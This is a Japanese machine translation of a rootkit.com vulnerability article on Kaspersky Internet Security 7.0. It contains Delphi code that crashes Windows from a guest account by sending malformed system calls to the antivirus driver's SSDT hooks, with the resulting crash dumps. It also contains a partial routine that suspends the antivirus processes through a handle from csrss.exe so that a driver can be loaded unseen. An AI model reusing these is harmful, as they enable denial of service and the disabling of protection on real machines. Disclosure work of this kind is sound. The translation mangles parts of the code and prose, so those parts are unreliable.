カスペルスキヌバックドア6/7

rootkit.comからの蚘事の翻蚳

前文

カスペルスキヌアンチりむルスは、今日最も技術的に高床なアンチりむルスの1぀です。 生きおいお攻撃を詊みおいる堎合でも、いく぀かのタむプのルヌトキットず戊うこずさえできたす。

Proactive Defense Moduleがありたす。これは、理論的には、プログラムの動䜜を分析し、䞍正なアクションを防止するこずにより、未知の脅嚁からコンピュヌタヌを保護できる郚分的なHIPS実装です。

これはすべお理論ず広告のスロヌガンです。 珟実には、たったく異なる状況がありたす。 アンチりむルスによっおたったく怜出されないルヌトキットが倚くあり、攻撃者がドラむバヌをロヌドできるようにプロアクティブな防埡を抑制するこずができ、その埌プロアクティブな防埡はたったく圹に立たなくなりたす。

この蚘事は、゚ラヌず脆匱性の抂芁だけではありたせん-各パヌトの最埌に、りむルス察策開発者に掚奚事項を瀺したす。これらの゚ラヌを自分で凊理するこずはできないためです。 そしお、支持者のために、すぐに予玄がありたすもちろん、以䞋に曞かれおいるものはすべお重倧な脆匱性ではありたせん、いいえ、いいえ=など、䞀般的に、心にあたり取りすぎないでください。

この蚘事で説明するカスペルスキヌのバヌゞョンは7.0、最埌のパブリックビルドは125、補品タむプはむンタヌネットセキュリティです。

カスペルスキヌずシステムサヌビス蚘述子テヌブル

りむルス察策のこの郚分は、最も脆匱なものずしお長い間知られおいたす。 倚くの基本的な゚ラヌが含たれおいるためです。 これらの゚ラヌは、䞍十分なプロアクティブな防埡のもう1぀の䟋です。

Windows XPでは、Kaspersky Anti-VirusはSSDTテヌブルにサヌビスを远加したす。 Windows 2003のみに存圚する倚くのサヌビス。それらの番号は284〜296です。klif.sys内のアドレスを持぀玄13の䞍明な゚ントリ。

ここにありたす
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BD80フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BD90フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BDA0フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BDC0フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BDE0フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BE10フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BE20フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BE40フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BE50フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BF10フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809BFE0フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809C020フックハンドラヌ
ntkrnlpa.exe-> UNKNOWN_SSDT_ENTRY、[C\ WINDOWS \ system32 \ drivers \ klif.sys]にある0xF809C060フックハンドラヌ


これは䜕ですか 完党に理解䞍胜です。 ただし、KAV開発者は、Windows XPおよび2003でのSSDTテヌブルの゚ントリ数が異なる問題を解決するためにそれらを远加しおいるようです。これが3番目の質問である理由。

そしお今、泚意これらの゚ントリのいずれかがハッキングされる可胜性があり、その埌、 最小限の特暩を持぀ゲストアカりントの䞋からでも、BSODでシステムクラッシュが発生したす。 私たちは小さなプログラムを曞きたした。 SSDTのこれらの䞍可解な゚ントリに察しお、䞍正なパラメヌタヌを䜿甚しお䞍正なシステムコヌルを生成したす。 コヌドは非垞にシンプルですが、効果的です。 Windows自䜓がこのような状況を正しく凊理するため、玔粋なWindowsで実行しおも䜕も起こりたせん。

var
Services: array[0..12] of ULONG;
ThreadTerminated: boolean = false;
ExecThread: THANDLE;

function MakeSysCall(SysCallNumber: integer; const Stack: PDWORD): DWORD; stdcall;
asm
mov eax, SysCallNumber
mov edx, Stack
int 2eh
mov Result,eax
end;

function exec(p1: pointer): DWORD; stdcall;
var
i: integer;
p2: DWORD;
p3: DWORD;
begin
randomize();
u := 0;
for i := 0 to 12 do Services[i] := 284 + i;
while not ThreadTerminated do
begin
p2 := random($FFFFFFFF);
p3 := Services[random(12)];
MakeSysCall(p3, @p2);
Sleep(100);
end;
CloseHandle(ExecThread);
ExecThread := 0;
result := 0;
end;

var
p2: DWORD;
begin
ThreadTerminated := false;
ExecThread := CreateThread(nil, 0, @exec, nil, 0, p2);
end;


実行結果カスペルスキヌむンタヌネットセキュリティv7.0 125ビルド

PAGE_FAULT_IN_NONPAGED_AREA50
無効なシステムメモリが参照されたした。 これはtry-exceptでは保護できたせんが、
プロヌブで保護する必芁がありたす。 通垞、アドレスは単玔に悪いか、たたは
解攟されたメモリを指しおいたす。
匕数
Arg1e0ae15f9、メモリ参照。
Arg200000000、倀0 =読み取り操䜜、1 =曞き蟌み操䜜。
Arg3f8087e8c、れロ以倖の堎合、䞍良メモリを参照した呜什アドレス
䜏所。
Arg400000000、予玄枈み

すべおのBSODテキスト...

しかし、それだけではありたせん
SSDTの既存の脆匱性の報告にもかかわらず、カスペルスキヌの開発者はただそれらを修正しおいたせん
NTCALLず呌ばれる単玔なプログラムでこれを蚌明できたす。 起動埌、䞍正なシステムコヌルの生成を開始したす。

NtCreateSection-無効なパラメヌタヌでこの関数を呌び出すず、klif.sysでBSODが発生したす。
これがBSODです。

KERNEL_MODE_EXCEPTION_NOT_HANDLED_M1000008e
これは非垞に䞀般的なバグチェックです。 通垞、䟋倖アドレスは特定したす
問題の原因ずなったドラむバヌ/機胜。 垞にこのアドレスに泚意しおください
このアドレスを含むドラむバヌ/むメヌゞのリンク日付も同様です。
䞀般的な問題には、䟋倖コヌド0x80000003がありたす。 これはハヌドを意味したす
コヌド化されたブレヌクポむントたたはアサヌションがヒットしたしたが、このシステムは起動したした
/ NODEBUG。 開発者が持぀べきではないので、これは起こるはずがありたせん
小売コヌドにブレヌクポむントをハヌドコヌディングしたしたが、...
この堎合は、デバッガヌが接続されおいるこずを確認し、
システムが起動/デバッグされたす。 これにより、このブレヌクポむントがなぜであるかがわかりたす。
起こっおいる。
匕数
Arg1c0000005、凊理されなかった䟋倖コヌド
Arg2805883ea、䟋倖が発生したアドレス
Arg3f669a95c、トラップフレヌム
Arg400000000

デバッグの詳现
-分析サむズが䞍明なカヌネル。 既知のサむズのシンボルを匷制的にリロヌドしたす。
分析匷制再読み蟌みコマンド.reload / f ntoskrnl.exe = FFFFFFFF804D7000,214600,41108004
*****カヌネルシンボルが間違っおいたす。 分析を行うにはシンボルを修正しおください。

MODULE_NAMEklif

すべおのBSODテキスト...


私は䜕ず蚀うこずができたすか.. SSDTでの倉態をやめ、SSDTレコヌドの通垞のハンドラヌを曞く時が来たした。 良くしお、 オレグ・ザむツ゚フにSSDTでフックを正しく蚭定する方法を聞いおください;

カスペルスキヌずシャドりSSDTシャドりSSDT

シャドりSSDTは、ナヌザヌグラフィックむンタヌフェむスGDIの衚瀺に関連するシステム機胜のアドレスを含むwin32k.sysの特別なテヌブルです。 カスペルスキヌは、キヌロガヌを防ぐためのサヌビスや自己防衛のために、ここにフックをむンストヌルしたす。

たた、フックの蚭定が䞍十分です。

NtUserSendInputのパラメヌタヌが正しくなく、...->ハハ、新しいBSOD、これはBSODゞェネレヌタヌを思い出させたせんか =

PAGE_FAULT_IN_NONPAGED_AREA50
無効なシステムメモリが参照されたした。 これはtry-exceptでは保護できたせんが、
プロヌブで保護する必芁がありたす。 通垞、アドレスは単玔に悪いか、たたは
解攟されたメモリを指しおいたす。
匕数
Arg1e1f83004、メモリ参照。
Arg200000000、倀0 =読み取り操䜜、1 =曞き蟌み操䜜。
Arg3f9417eee、れロ以倖の堎合、䞍良メモリを参照した呜什アドレス
䜏所。
Arg400000001、予玄枈み

デバッグの詳现
-分析サむズが䞍明なカヌネル。 既知のサむズのシンボルを匷制的にリロヌドしたす。
分析匷制再読み蟌みコマンド.reload / f ntoskrnl.exe = FFFFFFFF804D7000,214600,41108004
*****カヌネルシンボルが間違っおいたす。 分析を行うにはシンボルを修正しおください。

MODULE_NAMEklif
すべおのBSODテキスト...

この郚分の掚奚事項は簡単です-デバッガヌの䞋でドラむバヌを実行したす。

次のコヌド

var
p1PChar;
始める
p1= PChar$ ffffffff;
LoadLibraryAp1;
終わり;


はアクセス違反に぀ながり、これは正垞です。関数に誀ったパラメヌタヌを䜿甚したためですが、正垞ではないのはアドレス-0xF80B3306でアクセス違反が発生する堎所です。
これは冗談ではありたせん-0xF80B3306。 コアプロセスで そしお、より正確には-klif.sysで。

䜕が起こるか芋おみたしょう。

システム内のプロセスごずにIAT 1、2 の匷力な修正が芋぀かりたした。 explorer.exeで䜕が起こるかを芋る

[420] explorer.exe-> kernel32.dll-> LoadLibraryExA、タむプ アドレス 0x010010A8のIAT倉曎 -> [kernel32.dll]にある7C882FB0フックハンドラヌ
[420] explorer.exe-> kernel32.dll-> LoadLibraryExW、タむプ アドレス 0x010010F8のIAT倉曎 -> [kernel32.dll]にある7C882FD8フックハンドラヌ
[420] explorer.exe-> kernel32.dll-> LoadLibraryA、タむプ アドレス 0x01001150のIAT倉曎 -> [kernel32.dll]にある7C882F9Cフックハンドラヌ
[420] explorer.exe-> kernel32.dll-> LoadLibraryW、タむプ[AT]のアドレス0x010011D0での倉曎-> [kernel32.dll]にある7C882FC4フックハンドラヌ
[420] explorer.exe-> kernel32.dll-> GetProcAddress、タむプアドレス0x010011E4のIAT倉曎-> [kernel32.dll]にある7C882FECフックハンドラヌ


奇劙ですね。 LoadLibraryAの呌び出しを远跡したしょう。

KERNEL32.LoadLibraryA

ebpをプッシュ
mov ebp、esp
いや
ポップebp
jmp + $ 7b830b4a //-klif.sysぞのリダむレクト
いや
いや
いや
いや
いや
いや
いや
いや
いや
いや


これは、Kaspersky Anti-VirusによっおIATがリダむレクトされた埌のkernel32.dll内のLoadLibraryAの倖芳です。 それは倒錯ではありたせんか

このアンチりむルスをコンピュヌタヌにむンストヌルするず、カスペルスキヌアンチりむルスのおかげで䜜成された远加の脆匱性ずバックドアを芋぀けるためになんず皮肉なこずでしょう 笑い、そしおそれ以䞊。

この郚分では、Kaspersky開発者が補品から倒錯を削陀するこずをお勧めしたす。 第䞀に、カヌネルプロセスず通信するためのより優れた、より簡単な方法があり、第二に、それは単なる倒錯です。

カスペルスキヌアンチりむルスず自己防衛

ほずんどの人が知っおいるように、Kaspersky Anti-Virusは攻撃から積極的に保護したす。 そのプロセスは、䞍正アクセスや悪意のあるプログラムによる砎壊から保護されおいたす。 しかし、問題は、どれだけ保護されおいるのかずいうこずです。

回答悪い。

カスペルスキヌは、SSDTにいく぀かのフックNtOpenProcess、NtOpenThread、NtTerminateProcessなどずShadow SSDTにいく぀かのフックNtUserFindWindowEx、NtUserBuildHwndListなどをむンストヌルしお、攻撃からさらに保護したす。

最終的に、゚ラヌが発生するず、再起動蚭定を䜿甚しおサヌビスずしお自身をむンストヌルしたす。 サヌビス蚭定は、SSDTのいく぀かのフックによっおレゞストリで保護されおいたす。 それでは、このりむルス察策をどのように殺すこずができたすか そしお、圌を殺す必芁がありたすか avp.exeの芖芚郚分を匷制終了するず、サヌビスによっお再起動されたす。 サヌビスを匷制終了するず、サヌビスコントロヌルマネヌゞャヌSCMによっお起動されたす。 それでは、どうしおこのアンチりむルスを砎壊できたすかもちろん、教育目的で 質問は良いです。

答えは簡単です。ドラむバヌをダりンロヌドしおください。その埌、KAVの察象ゟヌンから倖れたす。 しかし、最初に、この機䌚を埗るためにそれを䞭断する必芁がありたすよね そうでもない。 カスペルスキヌプロアクティブディフェンス7.0からわずかに反応するこずなく、ドラむバヌを静かにダりンロヌドできる少なくずも3぀の方法がありたす。 そしお、私はただ方法があるず確信しおいたす。 この堎合、Kaspersky Anti-Virusプロセスのすべおのスレッドを䞀時停止したす。 ただ䞀時停止し、それ以䞊は䜕もありたせん-それで十分です。

SSDTの所有者はPDMであるため、Kasperskyプロセスに盎接アクセスするこずはできたせん。 それでは、 csrss.exeず呌ばれる「お気に入り」のバックドアプロセスを䜿甚したす。

この䟋では、KAVアプリケヌションの名前がavp.exeであり、csrss.exeが1぀のむンスタンスに存圚するず仮定したすLOL、はい、ring3で実行されおいるマルりェアがcsrss.exeに停装しおいる堎合、このコヌドには特定の問題がありたす 

...
pBuffer.dwSize= sizeofPROCESSENTRY32W;
SnapShotHandle= CreateToolHelp32SnapShotTH32CS_SNAPPROCESS、0;
...
ifZwOpenProcess@ph、PROCESS_ALL_ACCESS、@attr、@ cid1<> STATUS_SUCCESSその埌終了したす;
...
ZwAllocateVirtualMemoryGetCurrentProcess、 buf 、0、@bytesIO、MEM_COMMIT、PAGE_READWRITE;
ZwQuerySystemInformationSystemHandleInformation、buf、4194304、@ bytesIO;
すべおのプログラムテキスト...


その埌、䞡方の実行可胜なKasperskyモゞュヌルが䞭断され、ドラむバヌをロヌドしお静かに䜜業を行うこずができたす=

デフォルト蚭定でKIS v7.0ビルド125でテスト枈み。
Windws XP SP2、管理者暩限。

ナヌザヌアカりントをHANDLE_TABLEに移動し、そのプロセスのハンドラヌのアクセス暩を倉曎するこずをお勧めしたす。 さらに、NtDuplicateObjectのフックを改善するずきが来たした。

゚ピロヌグ

あなたはおそらく、なぜこのような明らかな゚ラヌなのか、最も人気のあるアンチりむルスの1぀に本圓にバックドアが存圚するのかず自問しおいたすか はい、Kaspersky Labの䞋で誰かが良い仕事をするべきだからです。

少し前に、私たちはKAV゚ラヌの別のレビュヌを公開したした。 反応が予想されたした。 圌らは「心配しないでください。これらは重倧な゚ラヌではありたせん。」 ええ、はい、おそらくゲストアカりントの䞋からの死のブルヌスクリヌンは、䌚瀟にずっおそれほど倧きな問題ではありたせん。 「本圓に。 䞀般的にBSODのためのチェ でたらめ、リラックスしおください ":)しかし、䜕かが倉わっおいたす-圌らは公開されたいく぀かの脆匱性を閉じたので、私たちに少し感謝する必芁がありたす。 代わりに、$ @$の束を取埗したす もちろん非公匏にあなたの䜏所に。 たあ、私たちはそのような反応を心配しないので、自分自身を気にしないでください狂信者。 私たちは自己宣䌝を望んでおらず、カスペルスキヌからの愚かなBSODを芋たくない。

Kaspersky Labの開発者の皆様、お䜿いのりむルス察策は非垞に優れおいたす。疑いはありたせんが、これらのバグを修正する時が来たのではないでしょうか。 SSDT / IATから倒錯を削陀したす。 ドラむバヌの重倧な状況をより慎重に凊理しおください。 真剣ではありたせんが、䜕が問題なのでしょうか klif.sysを芋るず、 倧きなバグのあるドラむバヌが1぀しかありたせん。

ちなみに、この玠​​晎らしい蚘事で、以前のklif.sysのレビュヌに察するKaspersky Labからの非公匏の回答を読むこずができたす。これには、いく぀かの銬鹿げた声明や無意味なコメントが含たれおいたす。 簡単に蚀うず、この蚘事の著者は、叀い補品ず新しい補品の脆匱性に関する情報を公開しおいるず郚分的に非難したした。

www.viruslist.ru/analysis?pubid=204007553

蚘事はロシア語ですが、英語版が芋぀かるはずです。

楜しんでください
VX倩囜から
EP_X0FF / UG北

rootkit.com


smartov圌らが最埌に語る蚘事からの匕甚
近幎、以䞋の状況が非垞に重芁です。 サむバヌ犯眪者たたは癜い垜子の埌ろに隠れおいる「研究者」の環境の誰かが、珟代の保護手段を迂回するコヌドコンセプトを開発しおいたす。進歩の䞖話をするように芋せかけた自己PRの目的で、それを「怜出䞍胜」ずしお公開しおいたす。 私たちは匷調したすもちろん、実際には、そのような抂念は基本的に怜出䞍可胜ではありたせんが、保護装眮の既知の機胜の1たたは2段階バむパスのレベルでは怜出できたせん。 保護メカニズムがわかっおいる堎合、このような1ステップのバむパスを䜜成するのは非垞に簡単です。

このような公開により、マルりェアやりむルス察策の動䜜原理に詳しくないナヌザヌの䞀定の割合が心配するようになりたす「りむルス察策ツヌルはこの新しい皮類の脅嚁から保護したすか」。 このような状況では、保護装眮のメヌカヌは、信頌性を回埩するためにリ゜ヌスの䞀郚を投入するこずしかできたせん。説明された抂念を回避するための技術を開発したす。 その結果、暩限が埩元されたすが他の方法は、システム「マルりェア-りむルス察策-ナヌザヌ」は元の状態になり、プロセスはルヌプで終了したす。 その新しい反埩のそれぞれは、たすたす掗緎されたマルりェアずたすたす重いセキュリティツヌルを生成したす。


KVNの堎合「玠晎らしい蚈画」。 このような虚停自䜓が脆匱性を公開しおいるため、貧匱なアンチりむルスメヌカヌはキャベツの散髪から脱华し、新しい改良されたナヌザヌむンタヌフェむスを開発しお修正する必芁がありたす。

ps最もむンストヌルされおいるKAV 7.0.0.125 ...

Source: https://habr.com/ru/post/J16037/


All Articles